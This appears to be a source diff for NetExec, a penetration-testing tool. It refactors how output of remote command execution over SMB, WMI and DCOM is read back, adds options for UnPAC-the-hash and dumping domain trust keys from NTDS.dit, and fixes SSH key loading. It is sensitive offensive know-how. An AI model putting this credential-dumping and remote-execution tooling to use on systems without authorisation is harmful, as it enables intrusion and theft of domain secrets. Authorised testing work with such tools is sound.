+        conn.deleteFile(share, filename)
+    except Exception as e:
+        if "STATUS_OBJECT_NAME_NOT_FOUND" in str(e):
+            logger.debug(f"No output file {path} to delete")
+        else:
+            logger.fail(f"[OPSEC] {method}: Could not delete the output file {path}: {e}")

nxc/protocols/smb/mmcexec.py

@@ -27,9 +27,10 @@
 
 from os.path import join as path_join
 from time import sleep
-from nxc.connection import dcom_FirewallChecker
+from nxc.helpers.rpc import dcom_FirewallChecker
 from nxc.helpers.misc import gen_random_string
 from nxc.paths import TMP_PATH
+from nxc.protocols.smb.exec_output import get_output_file
 
 from impacket.dcerpc.v5.dcom.oaut import (
     IID_IDispatch,
@@ -108,7 +109,7 @@ class MMCEXEC:
             self.logger.info(f"Got Exception while connecting with DCOM: {e}")
             # Make it force break function
             self.__dcom.disconnect()
-        flag, self.__stringBinding = dcom_FirewallChecker(iInterface, self.__remoteHost, self.__timeout)
+        flag, self.__stringBinding = dcom_FirewallChecker(iInterface, self.__remoteHost, self.__timeout, self.logger)
         if not flag or not self.__stringBinding:
             error_msg = f'MMCEXEC: Dcom initialization failed on connection with stringbinding: "{self.__stringBinding}", please increase the timeout with the option "--dcom-timeout". If it\'s still failing maybe something is blocking the RPC connection, try another exec method'
 
@@ -250,41 +251,4 @@ class MMCEXEC:
             self.__outputBuffer = ""
             return
 
-        tries = 1
-        # Give the command a bit of time to execute before we try to read the output, 0.4 seconds was good in testing
-        sleep(0.4)
-        while True:
-            try:
-                self.logger.info(f"Attempting to read {self.__share}\\{self.__output}")
-                self.__smbconnection.getFile(self.__share, self.__output, self.output_callback)
-                break
-            except Exception as e:
-                if tries >= self.__tries:
-                    self.logger.fail("MMCEXEC: Could not retrieve output file, it may have been detected by AV. Please increase the number of tries with the option '--get-output-tries'. If it is still failing, try the 'wmi' protocol or another exec method")
-                    break
-                if "STATUS_BAD_NETWORK_NAME" in str(e):
-                    self.logger.fail(f"MMCEXEC: Getting the output file failed - target has blocked access to the share: {self.__share} (but the command may have executed!)")
-                    break
-                elif "STATUS_VIRUS_INFECTED" in str(e):
-                    self.logger.fail("Command did not run because a virus was detected")
-                    break
-                # When executing powershell and the command is still running, we get a sharing violation
-                # We can use that information to wait longer than if the file is not found (probably av or something)
-                if "STATUS_SHARING_VIOLATION" in str(e):
-                    self.logger.info(f"File {self.__share}\\{self.__output} is still in use with {self.__tries - tries} tries left, retrying...")
-                    tries += 1
-                    sleep(1)
-                elif "STATUS_OBJECT_NAME_NOT_FOUND" in str(e):
-                    self.logger.info(f"File {self.__share}\\{self.__output} not found with {self.__tries - tries} tries left, deducting 10 tries and retrying...")
-                    tries += 10
-                    sleep(1)
-                else:
-                    self.logger.debug(f"Exception when trying to read output file: {e!s}. {self.__tries - tries} tries left, retrying...")
-                    tries += 1
-                    sleep(1)
-
-        try:
-            self.logger.debug(f"Deleting file {self.__share}\\{self.__output}")
-            self.__smbconnection.deleteFile(self.__share, self.__output)
-        except Exception:
-            pass
+        get_output_file(self.__smbconnection, self.__share, self.__output, self.output_callback, self.__tries, self.logger, "MMCEXEC")

nxc/protocols/smb/proto_args.py

@@ -1,4 +1,4 @@
-from argparse import _StoreTrueAction
+from argparse import BooleanOptionalAction, _StoreTrueAction
 from nxc.helpers.args import DisplayDefaultsNotNone, DefaultTrackingAction, get_conditional_action
 
 
@@ -11,6 +11,7 @@ def proto_args(parser, parents):
     smb_parser.add_argument("--generate-st", type=str, dest="generate_st", help="Store a Service Ticket in the specified file. Use with --delegate to save the S4U ST, or without --delegate (together with --spn) to request a regular ST for the given SPN")
     self_delegate_arg = smb_parser.add_argument("--self", dest="no_s4u2proxy", action=get_conditional_action(_StoreTrueAction), make_required=[], help="Only do S4U2Self, no S4U2Proxy (use with delegate)")
     u2u_arg = smb_parser.add_argument("--u2u", action=get_conditional_action(_StoreTrueAction), make_required=[], help="Use User-to-User (U2U) authentication with S4U2Self")
+    smb_parser.add_argument("--unpac", action="store_true", help="UnPAC the hash: recover the NT hash from the PAC of the PKINIT TGT (requires a certificate)")
 
     dgroup = smb_parser.add_mutually_exclusive_group()
     dgroup.add_argument("-d", "--domain", metavar="DOMAIN", dest="domain", type=str, help="domain to authenticate to")
@@ -23,7 +24,7 @@ def proto_args(parser, parents):
     smb_parser.add_argument("--no-admin-check", action="store_true", help="Avoid checking admin which queries the Service Control Manager")
     smb_parser.add_argument("--gen-relay-list", metavar="OUTPUT_FILE", help="outputs all hosts that don't require SMB signing to the specified file")
     smb_parser.add_argument("--smb-timeout", help="SMB connection timeout", type=int, default=2)
-    smb_parser.add_argument("--laps", dest="laps", metavar="LAPS", type=str, help="LAPS authentification", nargs="?", const="administrator")
+    smb_parser.add_argument("--laps", dest="laps", metavar="LAPS", type=str, help="LAPS authentication", nargs="?", const="administrator")
     smb_parser.add_argument("--generate-hosts-file", type=str, help="Generate a hosts file like from a range of IP")
     smb_parser.add_argument("--generate-krb5-file", type=str, help="Generate a krb5 file like from a range of IP")
     smb_parser.add_argument("--generate-tgt", type=str, help="Generate a tgt ticket")
@@ -42,8 +43,12 @@ def proto_args(parser, parents):
     kerb_keys_arg.make_required = [ntds_arg]
     enabled_arg.make_required = [ntds_arg]
     cred_gathering_group.add_argument("--user", dest="userntds", type=str, help="Dump selected user from DC (NTDS.dit)")
+    trust_keys_arg = cred_gathering_group.add_argument("--trust-keys", action=get_conditional_action(_StoreTrueAction), make_required=[], default=True, help="Dump Trusted Domain Object (TDO) secrets and derive inter-realm Kerberos/RC4 keys (NTDS.dit)")
+    just_trust_keys_arg = cred_gathering_group.add_argument("--just-trust-keys", action=get_conditional_action(_StoreTrueAction), make_required=[], help="Like --trust-keys but dump ONLY the trust keys, skipping every account secret (NTDS.dit)")
+    trust_keys_arg.make_required = [ntds_arg]
+    just_trust_keys_arg.make_required = [ntds_arg]
     cred_gathering_group.add_argument("--dpapi", choices={"cookies", "nosystem"}, nargs="*", help="dump DPAPI secrets from target systems, can dump cookies if you add 'cookies', will not dump SYSTEM dpapi if you add nosystem")
-    cred_gathering_group.add_argument("--sccm", choices={"wmi", "disk"}, nargs="?", const="disk", help="dump SCCM secrets from target systems")
+    cred_gathering_group.add_argument("--sccm", action="store_true", help="dump SCCM secrets from target systems")
     cred_gathering_group.add_argument("--mkfile", action="store", help="DPAPI option. File with masterkeys in form of {GUID}:SHA1")
     cred_gathering_group.add_argument("--pvk", action="store", help="DPAPI option. File with domain backupkey")
     cred_gathering_group.add_argument("--list-snapshots", nargs="?", dest="list_snapshots", const="ADMIN$", help="Lists the VSS snapshots (default: %(const)s)")
@@ -91,6 +96,9 @@ def proto_args(parser, parents):
     files_group = smb_parser.add_argument_group("File Operations")
     files_group.add_argument("--put-file", action="append", nargs=2, metavar="FILE", help="Put a local file into remote target, ex: whoami.txt \\\\Windows\\\\Temp\\\\whoami.txt")
     files_group.add_argument("--get-file", action="append", nargs=2, metavar="FILE", help="Get a remote file, ex: \\\\Windows\\\\Temp\\\\whoami.txt whoami.txt")
+    files_group.add_argument("--get-folder", action="append", nargs=2, metavar="DIR", help="Get a remote directory, ex: \\\\Windows\\\\Temp\\\\testing testing")
+    files_group.add_argument("--recursive", default=True, action=BooleanOptionalAction, help="Recursively get a folder")
+    files_group.add_argument("--ignore-empty-folders", default=False, action="store_true", help="Ignore empty folders when downloading")
     files_group.add_argument("--append-host", action="store_true", help="append the host to the get-file filename")
 
     cmd_exec_group = smb_parser.add_argument_group("Command Execution")

nxc/protocols/smb/smbexec.py

@@ -1,10 +1,10 @@
 import os
 from os.path import join as path_join
-from time import sleep
 from impacket.dcerpc.v5 import scmr
 from nxc.helpers.misc import gen_random_string
 from nxc.paths import TMP_PATH
 from nxc.helpers.rpc import NXCRPCConnection
+from nxc.protocols.smb.exec_output import get_output_file
 
 
 class SMBEXEC:
@@ -97,42 +97,8 @@ class SMBEXEC:
             self.__outputBuffer = ""
             return
 
-        tries = 1
-        while True:
-            try:
-                self.logger.info(f"Attempting to read {self.__share}\\{self.__output}")
-                self.__connection.conn.getFile(self.__share, self.__output, self.output_callback)
-                break
-            except Exception as e:
-                if tries >= self.__tries:
-                    self.logger.fail("SMBEXEC: Could not retrieve output file, it may have been detected by AV. Please increase the number of tries with the option '--get-output-tries'. If it is still failing, try the 'wmi' protocol or another exec method")
-                    break
-                if "STATUS_BAD_NETWORK_NAME" in str(e):
-                    self.logger.fail(f"SMBEXEC: Getting the output file failed - target has blocked access to the share: {self.__share} (but the command may have executed!)")
-                    break
-                elif "STATUS_VIRUS_INFECTED" in str(e):
-                    self.logger.fail("Command did not run because a virus was detected")
-                    break
-                # When executing powershell and the command is still running, we get a sharing violation
-                # We can use that information to wait longer than if the file is not found (probably av or something)
-                if "STATUS_SHARING_VIOLATION" in str(e):
-                    self.logger.info(f"File {self.__share}\\{self.__output} is still in use with {self.__tries - tries} tries left, retrying...")
-                    tries += 1
-                    sleep(1)
-                elif "STATUS_OBJECT_NAME_NOT_FOUND" in str(e):
-                    self.logger.info(f"File {self.__share}\\{self.__output} not found with {self.__tries - tries} tries left, deducting 10 tries and retrying...")
-                    tries += 10
-                    sleep(1)
-                else:
-                    self.logger.debug(f"Exception when trying to read output file: {e!s}. {self.__tries - tries} tries left, retrying...")
-                    tries += 1
-                    sleep(1)
-
-        try:
-            self.logger.debug(f"Deleting file {self.__share}\\{self.__output}")
-            self.__connection.conn.deleteFile(self.__share, self.__output)
-        except Exception:
-            pass
+        # The service start returns once the command is done, so the file can be read right away
+        get_output_file(self.__connection.conn, self.__share, self.__output, self.output_callback, self.__tries, self.logger, "SMBEXEC", first_read_delay=0)
 
     def finish(self):
         # Just in case the service is still created

nxc/protocols/smb/wmiexec.py

@@ -1,9 +1,10 @@
 import ntpath
 import os
 from time import sleep
-from nxc.connection import dcom_FirewallChecker
+from nxc.helpers.rpc import dcom_FirewallChecker
 from nxc.helpers.misc import gen_random_string
 from nxc.paths import TMP_PATH
+from nxc.protocols.smb.exec_output import get_output_file
 from impacket.dcerpc.v5.dcomrt import DCOMConnection
 from impacket.dcerpc.v5.dcom import wmi
 from impacket.dcerpc.v5.dtypes import NULL
@@ -43,6 +44,7 @@ class WMIEXEC:
 
         if self.__password is None:
             self.__password = ""
+        *_, tgt, _ = smbconnection.getCredentials()
         self.__dcom = DCOMConnection(
             self.__target,
             self.__username,
@@ -55,9 +57,10 @@ class WMIEXEC:
             doKerberos=self.__doKerberos,
             kdcHost=self.__kdcHost,
             remoteHost=self.__remoteHost,
+            TGT=tgt,
         )
         iInterface = self.__dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login)
-        flag, self.__stringBinding = dcom_FirewallChecker(iInterface, self.__remoteHost, self.__timeout)
+        flag, self.__stringBinding = dcom_FirewallChecker(iInterface, self.__remoteHost, self.__timeout, self.logger)
         if not flag or not self.__stringBinding:
             error_msg = f'WMIEXEC: Dcom initialization failed on connection with stringbinding: "{self.__stringBinding}", please increase the timeout with the option "--dcom-timeout". If it\'s still failing maybe something is blocking the RPC connection, try another exec method'
 
@@ -141,41 +144,4 @@ class WMIEXEC:
             self.__outputBuffer = ""
             return
 
-        tries = 1
-        # Give the command a bit of time to execute before we try to read the output, 0.4 seconds was good in testing
-        sleep(0.4)
-        while True:
-            try:
-                self.logger.info(f"Attempting to read {self.__share}\\{self.__output}")
-                self.__smbconnection.getFile(self.__share, self.__output, self.output_callback)
-                break
-            except Exception as e:
-                if tries >= self.__tries:
-                    self.logger.fail("wmiexec: Could not retrieve output file, it may have been detected by AV. If it is still failing, try the 'wmi' protocol or another exec method")
-                    break
-                elif "STATUS_BAD_NETWORK_NAME" in str(e):
-                    self.logger.fail(f"SMB connection: target has blocked {self.__share} access (maybe command executed!)")
-                    break
-                elif "STATUS_VIRUS_INFECTED" in str(e):
-                    self.logger.fail("Command did not run because a virus was detected")
-                    break
-                # When executing powershell and the command is still running, we get a sharing violation
-                # We can use that information to wait longer than if the file is not found (probably av or something)
-                elif "STATUS_SHARING_VIOLATION" in str(e):
-                    self.logger.info(f"File {self.__share}\\{self.__output} is still in use with {self.__tries - tries} tries left, retrying...")
-                    sleep(1)
-                    tries += 1
-                elif "STATUS_OBJECT_NAME_NOT_FOUND" in str(e):
-                    self.logger.info(f"File {self.__share}\\{self.__output} not found with {self.__tries - tries} tries left, deducting 10 tries and retrying...")
-                    tries += 10
-                    sleep(1)
-                else:
-                    self.logger.debug(f"Exception when trying to read output file: {e!s}. {self.__tries - tries} tries left, retrying...")
-                    tries += 1
-                    sleep(1)
-
-        try:
-            self.logger.debug(f"Deleting file {self.__share}\\{self.__output}")
-            self.__smbconnection.deleteFile(self.__share, self.__output)
-        except Exception:
-            pass
+        get_output_file(self.__smbconnection, self.__share, self.__output, self.output_callback, self.__tries, self.logger, "WMIEXEC")

nxc/protocols/ssh.py

@@ -14,6 +14,8 @@ from paramiko.ssh_exception import (
     SSHException,
 )
 
+from nxc.protocols.ssh.keyfiles import is_key_type_rejected
+
 
 class ssh(connection):
     def __init__(self, args, db, host):
@@ -85,13 +87,13 @@ class ssh(connection):
         try:
             if self.args.key_file or private_key:
                 self.logger.debug(f"Logging {self.host} with username: {username}, keyfile: {self.args.key_file}")
+                # Load the key here: with key_filename paramiko tries every key class in turn and the last parsing failure overwrites the real authentication error.
+                pkey = paramiko.PKey.from_path(self.args.key_file, password.encode() if password else None) if self.args.key_file else private_key
                 self.conn.connect(
                     self.host,
                     port=self.port,
                     username=username,
-                    passphrase=password if password != "" else None,
-                    pkey=private_key,
-                    key_filename=self.args.key_file,
+                    pkey=pkey,
                     timeout=self.args.ssh_timeout,
                     look_for_keys=False,
                     allow_agent=False,
@@ -125,6 +127,8 @@ class ssh(connection):
         except AuthenticationException as e:
             if "Private key file is encrypted" in str(e):
                 self.logger.fail(f"{username}:{process_secret(password)} Could not load private key, error: {e}")
+            elif is_key_type_rejected(e):
+                self.logger.fail(f"{username}:{process_secret(password)} Key type rejected by server (pubkey algorithm not allowed)")
             else:
                 self.logger.fail(f"{username}:{process_secret(password)}")
         except SSHException as e:
@@ -132,8 +136,15 @@ class ssh(connection):
                 self.logger.fail(f"{username}:{process_secret(password)} Could not decrypt private key, invalid password")
             elif "Error reading SSH protocol banner" in str(e):
                 self.logger.error(f"Internal Paramiko error for {username}:{process_secret(password)}, {e}")
+            elif is_key_type_rejected(e):
+                self.logger.fail(f"{username}:{process_secret(password)} Key type rejected by server (pubkey algorithm not allowed)")
             else:
                 self.logger.exception(e)
+        except ValueError as e:
+            self.logger.debug(f"Could not load private key {self.args.key_file}: {e}")
+            self.logger.fail(f"{username}:{process_secret(password)} Could not decrypt private key, invalid password")
+        except TimeoutError:
+            self.logger.fail(f"{username}:{process_secret(password)} Connection timed out")
         except Exception as e:
             self.logger.exception(e)
             self.conn.close()